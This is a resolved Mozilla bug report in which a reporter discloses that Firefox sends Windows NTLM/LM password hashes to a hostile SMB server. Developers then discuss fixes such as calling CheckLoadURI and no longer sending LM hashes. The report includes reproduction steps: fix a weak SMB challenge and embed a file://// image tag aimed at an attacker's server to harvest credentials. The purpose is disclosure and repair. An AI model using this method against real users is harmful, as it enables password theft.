254365 - Firefox sends NT username/pass hash to evil SMB server which decrypts password

Status: RESOLVED FIXED

(Core :: Networking, defect, P1)

Description

[Aaron Spangler]

User-Agent:       Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7) Gecko/20040626 Firefox/0.9.1
Build Identifier: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  [Firefox 0.9.1]

In the URL above, a security exploit from a while back is described.  Firefox is
vulnerable to this attack.  Evil SMB & Web servers can collect your Windows
username, your Windows Lanman Password, Your Windows NT Password, your Windows
Machine Name, your Windows Domain Name.  Since the evil server (not our client)
determins the Challenge in Challenge/Response, it can be a contrived value that
makes decrypting the original passwors much easier.  I can demonstrate to a few
key folks at Mozilla.org so that we can get it fixed, but I don't want to flood
the net with exploits on how it works.  Please contact me if I can provie more info.

Reproducible: Sometimes
Steps to Reproduce:
1. Setup Samba on a box on the net, modifying a few lines of code to fix the
"Challenge" to a weak value.  
2. Place an image on the Samba share, allowing all to read once authenticated.
3. Put an <img src=file:////ipOfSMBServer/share/image.gif> any or all web sites
you want to.
4.  Firefox will strip off the first two slashes and convert the remainder to
back slashes.  For example if the evil server was 10.2.3.4, the UNC pathname is
fetched by windows \\10.2.3.4\share\image.gif.
5.  The OS will then gladly provide all authentication asked by the evil smb server.

Actual Results:  
Most windows clients using weak or no firewalls gladly send your credentials to
the evil smb server where they are harvested.  Weak firewalls include standard
consumer grade (Linksys, Netgear...).

Expected Results:  
Prevent references to file://// if the referring url is not already file:////

Please contact me at [phone] after business hours if I can provide more
information.  You can also reach me by email at [e-mail].

Comment 1

[Darin Fisher]

See also bug 69070.  Jesse points out that we'd still want to fix this bug as
well since there may be other places where CheckLoadURI isn't called.

To solve this bug, perhaps we just need to modify how we compute the origin for
file:// URLs when a SMB share is specified.

Confirming bug.  This is pretty serious given the relative weakness of the LMv1
hash.

Comment 2

[Darin Fisher]

bz: here's an example exploit that leverages bug 69070.

Comment 3

[Darin Fisher]

> To solve this bug, perhaps we just need to modify how we compute the origin for
> file:// URLs when a SMB share is specified.

er... nevermind.  i was thinking about cross-site scripting, but that's
something else completely.  calling CheckLoadURI for <img> loads seems like the
right fix for this bug.  doing an audit of the code to make sure that we are
calling CheckLoadURI everywhere that it is needed is probably a good idea :)

Comment 4

[Boris Zbarsky [:bzbarsky]]

Doing such an audit is an absolute must, yes.

Comment 5

[Jesse Ruderman]

> Jesse points out that we'd still want to fix this bug as
> well since there may be other places where CheckLoadURI isn't called.

A better argument: we'd still want to fix this bug because sites shouldn't be
able to steal your Windows password by merely getting you to load a file: URL.

Comment 6

[Daniel Veditz [:dveditz]]

Not firefox-specific, over to networking.

Note bug 69070 has been fixed, but we should still fix this one.

Comment 7

[Darin Fisher]

I think we want to implement bug 250691 to make it harder to exploit the user if
they happen to send their domain\username + password to an evil site.  Most
modern servers understand the NTLM hash (MD4 based), so we can probably get away
with not sending the older and much weaker LM hash.

Comment 8

[Darin Fisher]

This is now fixed for Firefox 1.1.  See bug 250691.

Is this something we should consider backporting?

Comment 9

[Jesse Ruderman]

Does this still need to be security-sensitive?  It sounds like it was fixed for Firefox 1.5.